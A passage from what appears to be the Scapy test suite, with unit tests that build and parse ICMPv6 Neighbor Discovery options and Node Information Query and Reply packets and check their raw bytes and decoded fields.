b'\x11\x03\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptIPAddr - Instantiation with specific values raw(ICMPv6NDOptIPAddr(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, addr="ffff::1111")) == b'\x11\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptIPAddr - Basic Dissection a=ICMPv6NDOptIPAddr(b'\x11\x03\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 17 and a.len == 3 and a.optcode == 1 and a.plen == 64 and a.res == 0 and a.addr == "::" = ICMPv6NDOptIPAddr - Dissection with specific values a=ICMPv6NDOptIPAddr(b'\x11\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 17 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.addr == "ffff::1111" ############ ############ + ICMPv6NDOptNewRtrPrefix Class Test (RFC 4068) = ICMPv6NDOptNewRtrPrefix - Basic Instantiation raw(ICMPv6NDOptNewRtrPrefix()) == b'\x12\x03\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptNewRtrPrefix - Instantiation with specific values raw(ICMPv6NDOptNewRtrPrefix(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, prefix="ffff::1111")) == b'\x12\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptNewRtrPrefix - Basic Dissection a=ICMPv6NDOptNewRtrPrefix(b'\x12\x03\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 18 and a.len == 3 and a.optcode == 0 and a.plen == 64 and a.res == 0 and a.prefix == "::" = ICMPv6NDOptNewRtrPrefix - Dissection with specific values a=ICMPv6NDOptNewRtrPrefix(b'\x12\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 18 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.prefix == "ffff::1111" ############ ############ + ICMPv6NDOptLLA Class Test (RFC 4068) = ICMPv6NDOptLLA - Basic Instantiation raw(ICMPv6NDOptLLA()) == b'\x13\x01\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptLLA - Instantiation with specific values raw(ICMPv6NDOptLLA(len=2, optcode=3, lla="ff:11:ff:11:ff:11")) == b'\x13\x02\x03\xff\x11\xff\x11\xff\x11' = ICMPv6NDOptLLA - Basic Dissection a=ICMPv6NDOptLLA(b'\x13\x01\x00\x00\x00\x00\x00\x00\x00') a.type == 19 and a.len == 1 and a.optcode == 0 and a.lla == "00:00:00:00:00:00" = ICMPv6NDOptLLA - Dissection with specific values a=ICMPv6NDOptLLA(b'\x13\x02\x03\xff\x11\xff\x11\xff\x11') a.type == 19 and a.len == 2 and a.optcode == 3 and a.lla == "ff:11:ff:11:ff:11" ############ ############ + ICMPv6NDOptRouteInfo Class Test = ICMPv6NDOptRouteInfo - Basic Instantiation raw(ICMPv6NDOptRouteInfo()) == b'\x18\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRouteInfo - Instantiation with forced prefix but no length raw(ICMPv6NDOptRouteInfo(prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (1/4) raw(ICMPv6NDOptRouteInfo(len=1, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (2/4) raw(ICMPv6NDOptRouteInfo(len=2, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x02\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (3/4) raw(ICMPv6NDOptRouteInfo(len=3, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (4/4) raw(ICMPv6NDOptRouteInfo(len=4, prefix="2001:db8:1:1:1:1:1:1")) == b'\x18\x04\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRouteInfo - Instantiation with specific values raw(ICMPv6NDOptRouteInfo(len=6, plen=0x11, res1=1, prf=3, res2=1, rtlifetime=0x22222222, prefix="2001:db8::1")) == b'\x18\x06\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRouteInfo - Basic dissection a=ICMPv6NDOptRouteInfo(b'\x18\x03\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 24 and a.len == 3 and a.plen == 0 and a.res1 == 0 and a.prf == 0 and a.res2 == 0 and a.rtlifetime == 0xffffffff and a. prefix == "::" = ICMPv6NDOptRouteInfo - Dissection with specific values a=ICMPv6NDOptRouteInfo(b'\x18\x04\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.plen == 0x11 and a.res1 == 1 and a.prf == 3 and a.res2 == 1 and a.rtlifetime == 0x22222222 and a.prefix == "2001:db8::1" = ICMPv6NDOptRouteInfo - Summary Output ICMPv6NDOptRouteInfo(b'\x18\x04\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01').mysummary() == "ICMPv6 Neighbor Discovery Option - Route Information Option 2001:db8::1/17 Preference Low" ############ ############ + ICMPv6NDOptMAP Class Test = ICMPv6NDOptMAP - Basic Instantiation raw(ICMPv6NDOptMAP()) == b'\x17\x03\x1f\x80\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptMAP - Instantiation with specific values raw(ICMPv6NDOptMAP(len=5, dist=3, pref=10, R=0, res=1, validlifetime=0x11111111, addr="ffff::1111")) == b'\x17\x05:\x01\x11\x11\x11\x11\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptMAP - Basic Dissection a=ICMPv6NDOptMAP(b'\x17\x03\x1f\x80\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type==23 and a.len==3 and a.dist==1 and a.pref==15 and a.R==1 and a.res==0 and a.validlifetime==0xffffffff and a.addr=="::" = ICMPv6NDOptMAP - Dissection with specific values a=ICMPv6NDOptMAP(b'\x17\x05:\x01\x11\x11\x11\x11\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type==23 and a.len==5 and a.dist==3 and a.pref==10 and a.R==0 and a.res==1 and a.validlifetime==0x11111111 and a.addr=="ffff::1111" ############ ############ + ICMPv6NDOptRDNSS Class Test = ICMPv6NDOptRDNSS - Basic Instantiation raw(ICMPv6NDOptRDNSS()) == b'\x19\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRDNSS - Basic instantiation with 1 DNS address raw(ICMPv6NDOptRDNSS(dns=["2001:db8::1"])) == b'\x19\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptRDNSS - Basic instantiation with 2 DNS addresses raw(ICMPv6NDOptRDNSS(dns=["2001:db8::1", "2001:db8::2"])) == b'\x19\x05\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = ICMPv6NDOptRDNSS - Instantiation with specific values raw(ICMPv6NDOptRDNSS(len=43, res=0xaaee, lifetime=0x11111111, dns=["2001:db8::2"])) == b'\x19+\xaa\xee\x11\x11\x11\x11 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = ICMPv6NDOptRDNSS - Basic Dissection a=ICMPv6NDOptRDNSS(b'\x19\x01\x00\x00\xff\xff\xff\xff') a.type==25 and a.len==1 and a.res == 0 and a.dns==[] = ICMPv6NDOptRDNSS - Dissection (with 1 DNS address) a=ICMPv6NDOptRDNSS(b'\x19\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.type==25 and a.len==3 and a.res ==0 and len(a.dns) == 1 and a.dns[0] == "2001:db8::1" = ICMPv6NDOptRDNSS - Dissection (with 2 DNS addresses) a=ICMPv6NDOptRDNSS(b'\x19\x05\xaa\xee\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.type==25 and a.len==5 and a.res == 0xaaee and len(a.dns) == 2 and a.dns[0] == "2001:db8::1" and a.dns[1] == "2001:db8::2" = ICMPv6NDOptRDNSS - Summary Output a=ICMPv6NDOptRDNSS(b'\x19\x05\xaa\xee\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.mysummary() == "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option 2001:db8::1, 2001:db8::2" ############ ############ + ICMPv6NDOptDNSSL Class Test = ICMPv6NDOptDNSSL - Basic Instantiation raw(ICMPv6NDOptDNSSL()) == b'\x1f\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptDNSSL - Instantiation with 1 search domain, as seen in the wild raw(ICMPv6NDOptDNSSL(lifetime=60, searchlist=["home."])) == b'\x1f\x02\x00\x00\x00\x00\x00<\x04home\x00\x00\x00' = ICMPv6NDOptDNSSL - Basic instantiation with 2 search domains raw(ICMPv6NDOptDNSSL(searchlist=["home.", "office."])) == b'\x1f\x03\x00\x00\xff\xff\xff\xff\x04home\x00\x06office\x00\x00\x00' = ICMPv6NDOptDNSSL - Basic instantiation with 3 search domains raw(ICMPv6NDOptDNSSL(searchlist=["home.", "office.", "here.there."])) == b'\x1f\x05\x00\x00\xff\xff\xff\xff\x04home\x00\x06office\x00\x04here\x05there\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptDNSSL - Basic Dissection p = ICMPv6NDOptDNSSL(b'\x1f\x01\x00\x00\xff\xff\xff\xff') p.type == 31 and p.len == 1 and p.res == 0 and p.searchlist == [] = ICMPv6NDOptDNSSL - Basic Dissection with specific values p = ICMPv6NDOptDNSSL(b'\x1f\x02\x00\x00\x00\x00\x00<\x04home\x00\x00\x00') p.type == 31 and p.len == 2 and p.res == 0 and p.lifetime == 60 and p.searchlist == ["home."] = ICMPv6NDOptDNSSL - Summary Output ICMPv6NDOptDNSSL(searchlist=["home.", "office.", "{"]).mysummary() == "ICMPv6 Neighbor Discovery Option - DNS Search List Option home., office., {" ############ ############ + ICMPv6NDOptCaptivePortal Class Test = ICMPv6NDOptCaptivePortal - Basic Instantiation raw(ICMPv6NDOptCaptivePortal()) == b"\x25\x01\x00\x00\x00\x00\x00\x00" = ICMPv6NDOptCaptivePortal - Instantiation with captive portal URI raw(ICMPv6NDOptCaptivePortal(URI="https://example.com")) == b"\x25\x03https://example.com\x00\x00\x00" = ICMPv6NDOptCaptivePortal - Instantiation where total length is already a multiple of 8 bytes p = ICMPv6NDOptCaptivePortal(URI="abcdef") len(p) == 8 and raw(p) == b"\x25\x01abcdef" and ICMPv6NDOptCaptivePortal(raw(p)).URI == b"abcdef" = ICMPv6NDOptCaptivePortal - Basic Dissection p = ICMPv6NDOptCaptivePortal(b"\x25\x01\x00\x00\x00\x00\x00\x00") p.type == 37 and p.len == 1 and p.URI == b"" = ICMPv6NDOptCaptivePortal - Basic Dissection with captive portal URI p = ICMPv6NDOptCaptivePortal(b"\x25\x03https://example.com\x00\x00\x00") p.type == 37 and p.len == 3 and p.URI == b"https://example.com" = ICMPv6NDOptCaptivePortal - Dissection with zero length p = ICMPv6NDOptCaptivePortal(b"\x25\x00abcdef\x00\x01") p.type == 37 and p.len == 0 and p.URI == b"abcdef" pay = p.payload assert pay.type == 0 and pay.len == 1 and pay.data == b"" = ICMPv6NDOptCaptivePortal - Summary Output ICMPv6NDOptCaptivePortal(URI="https://example.com").mysummary() == "ICMPv6 Neighbor Discovery Option - Captive-Portal Option b'https://example.com'" ############ ############ + ICMPv6NDOptEFA Class Test = ICMPv6NDOptEFA - Basic Instantiation raw(ICMPv6NDOptEFA()) == b'\x1a\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptEFA - Basic Dissection a=ICMPv6NDOptEFA(b'\x1a\x01\x00\x00\x00\x00\x00\x00') a.type==26 and a.len==1 and a.res == 0 ############ ############ + ICMPv6NDOptPREF64 Class Test = ICMPv6NDOptPREF64 - Basic Instantiation raw(ICMPv6NDOptPREF64()) == b'\x26\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptPREF64 - Basic Dissection p = ICMPv6NDOptPREF64(b'\x26\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert p.type == 38 and p.len == 2 and p.scaledlifetime == 0 and p.plc == 0 and p.prefix == '::' = ICMPv6NDOptPREF64 - Instantiation/Dissection with specific values p = ICMPv6NDOptPREF64(scaledlifetime=225, plc='/64', prefix='2003:da8:1::') assert raw(p) == b'\x26\x02\x07\x09\x20\x03\x0d\xa8\x00\x01\x00\x00\x00\x00\x00\x00' p = ICMPv6NDOptPREF64(raw(p)) assert p.type == 38 and p.len == 2 and p.scaledlifetime == 225 and p.plc == 1 and p.prefix == '2003:da8:1::' p = ICMPv6NDOptPREF64(raw(p) + b'\x00\x00\x00\x00') assert ICMPv6NDOptUnknown in p and len(p[ICMPv6NDOptUnknown]) == 4 = ICMPv6NDOptPREF64 - Summary Output ICMPv6NDOptPREF64(prefix='12:34:56::', plc='/32').mysummary() == "ICMPv6 Neighbor Discovery Option - PREF64 Option 12:34:56::/32" ICMPv6NDOptPREF64(prefix='12:34:56::', plc=6).mysummary() == "ICMPv6 Neighbor Discovery Option - PREF64 Option 12:34:56::[invalid PLC(6)]" ############ ############ + Test Node Information Query - ICMPv6NIQueryNOOP = ICMPv6NIQueryNOOP - Basic Instantiation raw(ICMPv6NIQueryNOOP(nonce=b"\x00"*8)) == b'\x8b\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NIQueryNOOP - Basic Dissection a = ICMPv6NIQueryNOOP(b'\x8b\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 139 and a.code == 1 and a.cksum == 0 and a.qtype == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b"\x00"*8 and a.data == b"" ############ ############ + Test Node Information Query - ICMPv6NIQueryName = ICMPv6NIQueryName - single label DNS name (internal) a=ICMPv6NIQueryName(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x07abricot\x00\x00' = ICMPv6NIQueryName - single label DNS name ICMPv6NIQueryName(data="abricot").data == b"abricot" = ICMPv6NIQueryName - fqdn (internal) a=ICMPv6NIQueryName(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x01n\x01d\x03org\x00' = ICMPv6NIQueryName - fqdn ICMPv6NIQueryName(data="n.d.org").data == b"n.d.org" = ICMPv6NIQueryName - IPv6 address (internal) a=ICMPv6NIQueryName(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryName - IPv6 address ICMPv6NIQueryName(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryName - IPv4 address (internal) a=ICMPv6NIQueryName(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryName - IPv4 address ICMPv6NIQueryName(data="169.254.253.252").data == '169.254.253.252' = ICMPv6NIQueryName - build & dissection s = raw(IPv6()/ICMPv6NIQueryName(data="n.d.org")) p = IPv6(s) ICMPv6NIQueryName in p and p[ICMPv6NIQueryName].data == b"n.d.org" = ICMPv6NIQueryName - dissection s = b'\x8b\x00z^\x00\x02\x00\x00\x00\x03g\x90\xc7\xa3\xdd[\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' p = ICMPv6NIQueryName(s) p.show() assert ICMPv6NIQueryName in p and p.data == "ff02::1" ############ ############ + Test Node Information Query - ICMPv6NIQueryIPv6 = ICMPv6NIQueryIPv6 - single label DNS name (internal) a = ICMPv6NIQueryIPv6(data="abricot") ls(a) a = a.getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x07abricot\x00\x00' = ICMPv6NIQueryIPv6 - single label DNS name ICMPv6NIQueryIPv6(data="abricot").data == b"abricot" = ICMPv6NIQueryIPv6 - fqdn (internal) a=ICMPv6NIQueryIPv6(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x01n\x01d\x03org\x00' = ICMPv6NIQueryIPv6 - fqdn ICMPv6NIQueryIPv6(data="n.d.org").data == b"n.d.org" = ICMPv6NIQueryIPv6 - IPv6 address (internal) a=ICMPv6NIQueryIPv6(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryIPv6 - IPv6 address ICMPv6NIQueryIPv6(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryIPv6 - IPv4 address (internal) a=ICMPv6NIQueryIPv6(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryIPv6 - IPv4 address ICMPv6NIQueryIPv6(data="169.254.253.252").data == '169.254.253.252' ############ ############ + Test Node Information Query - ICMPv6NIQueryIPv4 = ICMPv6NIQueryIPv4 - single label DNS name (internal) a=ICMPv6NIQueryIPv4(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x07abricot\x00\x00' = ICMPv6NIQueryIPv4 - single label DNS name ICMPv6NIQueryIPv4(data="abricot").data == b"abricot" = ICMPv6NIQueryIPv4 - fqdn (internal) a=ICMPv6NIQueryIPv4(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == b'\x01n\x01d\x03org\x00' = ICMPv6NIQueryIPv4 - fqdn ICMPv6NIQueryIPv4(data="n.d.org").data == b"n.d.org" = ICMPv6NIQueryIPv4 - IPv6 address (internal) a=ICMPv6NIQueryIPv4(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryIPv4 - IPv6 address ICMPv6NIQueryIPv4(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryIPv4 - IPv4 address (internal) a=ICMPv6NIQueryIPv4(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryIPv4 - IPv4 address ICMPv6NIQueryIPv4(data="169.254.253.252").data == '169.254.253.252' = ICMPv6NIQueryIPv4 - dissection s = b'\x8b\x01\x00\x00\x00\x04\x00\x00\xc2\xb9\xc2\x96\xc3\xa1.H\x07freebsd\x00\x00' p = ICMPv6NIQueryIPv4(s) p.show() assert ICMPv6NIQueryIPv4 in p and p.data == b"freebsd" = ICMPv6NIQueryIPv4 - hashret() random.seed(0x2807) p = IPv6(src="::", dst="::")/ICMPv6NIQueryIPv4(data="freebsd") h = p.hashret() h assert h in [ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:g\x02f1\xbd?\xb3\xc4', b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x88\xccb\x19~\x9e\xe3a', b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:$#\xb5\xb7\xd0\xbf \xe2' ] ############ ############ + Test Node Information Query - Flags tests = ICMPv6NIQuery* - flags handling (Test 1) t = ICMPv6NIQueryIPv6(flags="T") a = ICMPv6NIQueryIPv6(flags="A") c = ICMPv6NIQueryIPv6(flags="C") l = ICMPv6NIQueryIPv6(flags="L") s = ICMPv6NIQueryIPv6(flags="S") g = ICMPv6NIQueryIPv6(flags="G") allflags = ICMPv6NIQueryIPv6(flags="TALCLSG") t.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and allflags.flags == 63 = ICMPv6NIQuery* - flags handling (Test 2) t = raw(ICMPv6NIQueryNOOP(flags="T", nonce="A"*8))[6:8] a = raw(ICMPv6NIQueryNOOP(flags="A", nonce="A"*8))[6:8] c = raw(ICMPv6NIQueryNOOP(flags="C", nonce="A"*8))[6:8] l = raw(ICMPv6NIQueryNOOP(flags="L", nonce="A"*8))[6:8] s = raw(ICMPv6NIQueryNOOP(flags="S", nonce="A"*8))[6:8] g = raw(ICMPv6NIQueryNOOP(flags="G", nonce="A"*8))[6:8] allflags = raw(ICMPv6NIQueryNOOP(flags="TALCLSG", nonce="A"*8))[6:8] t == b'\x00\x01' and a == b'\x00\x02' and c == b'\x00\x04' and l == b'\x00\x08' and s == b'\x00\x10' and g == b'\x00\x20' and allflags == b'\x00\x3F' = ICMPv6NIReply* - flags handling (Test 1) t = ICMPv6NIReplyIPv6(flags="T") a = ICMPv6NIReplyIPv6(flags="A") c = ICMPv6NIReplyIPv6(flags="C") l = ICMPv6NIReplyIPv6(flags="L") s = ICMPv6NIReplyIPv6(flags="S") g = ICMPv6NIReplyIPv6(flags="G") allflags = ICMPv6NIReplyIPv6(flags="TALCLSG") t.flags == 1 and a.flags == 2 and c.flags == 4 and l.flags == 8 and s.flags == 16 and g.flags == 32 and allflags.flags == 63 = ICMPv6NIReply* - flags handling (Test 2) t = raw(ICMPv6NIReplyNOOP(flags="T", nonce="A"*8))[6:8] a = raw(ICMPv6NIReplyNOOP(flags="A", nonce="A"*8))[6:8] c = raw(ICMPv6NIReplyNOOP(flags="C", nonce="A"*8))[6:8] l = raw(ICMPv6NIReplyNOOP(flags="L", nonce="A"*8))[6:8] s = raw(ICMPv6NIReplyNOOP(flags="S", nonce="A"*8))[6:8] g = raw(ICMPv6NIReplyNOOP(flags="G", nonce="A"*8))[6:8] allflags = raw(ICMPv6NIReplyNOOP(flags="TALCLSG", nonce="A"*8))[6:8] t == b'\x00\x01' and a == b'\x00\x02' and c == b'\x00\x04' and l == b'\x00\x08' and s == b'\x00\x10' and g == b'\x00\x20' and allflags == b'\x00\x3F' = ICMPv6NIQuery* - Flags Default values a = ICMPv6NIQueryNOOP() b = ICMPv6NIQueryName() c = ICMPv6NIQueryIPv4() d = ICMPv6NIQueryIPv6() a.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 62 = ICMPv6NIReply* - Flags Default values a = ICMPv6NIReplyIPv6() b = ICMPv6NIReplyName() c = ICMPv6NIReplyIPv6() d = ICMPv6NIReplyIPv4() e = ICMPv6NIReplyRefuse() f = ICMPv6NIReplyUnknown() a.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 0 and e.flags == 0 and f.flags == 0 # Nonces # hashret and answers # payload guess # automatic destination address computation when integrated in scapy6 # at least computeNIGroupAddr ############ ############ + Test Node Information Query - Dispatching = ICMPv6NIQueryIPv6 - dispatch with nothing in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with IPv6 address in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="2001::db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with IPv4 address in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with name in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryName - dispatch with nothing in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with IPv6 address in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="2001:db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with IPv4 address in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with name in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryIPv4 - dispatch with nothing in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="2001:db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with name in data s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIReplyName - dispatch s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyName()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyName) = ICMPv6NIReplyIPv6 - dispatch s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyIPv6()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyIPv6) = ICMPv6NIReplyIPv4 - dispatch s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyIPv4()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyIPv4) = ICMPv6NIReplyRefuse - dispatch s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyRefuse()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyRefuse) = ICMPv6NIReplyUnknown - dispatch s = raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyUnknown()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyUnknown) ############ ############ + Test Node Information Query - ICMPv6NIReplyNOOP = ICMPv6NIReplyNOOP - single DNS name without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b"abricot" = ICMPv6NIReplyNOOP - single DNS name without hint => understood as string ICMPv6NIReplyNOOP(data="abricot").data == b"abricot" = ICMPv6NIReplyNOOP - fqdn without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="n.d.tld").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b"n.d.tld" = ICMPv6NIReplyNOOP - fqdn without hint => understood as string ICMPv6NIReplyNOOP(data="n.d.tld").data == b"n.d.tld" = ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="2001:0db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b"2001:0db8::1" = ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string ICMPv6NIReplyNOOP(data="2001:0db8::1").data == b"2001:0db8::1" = ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string 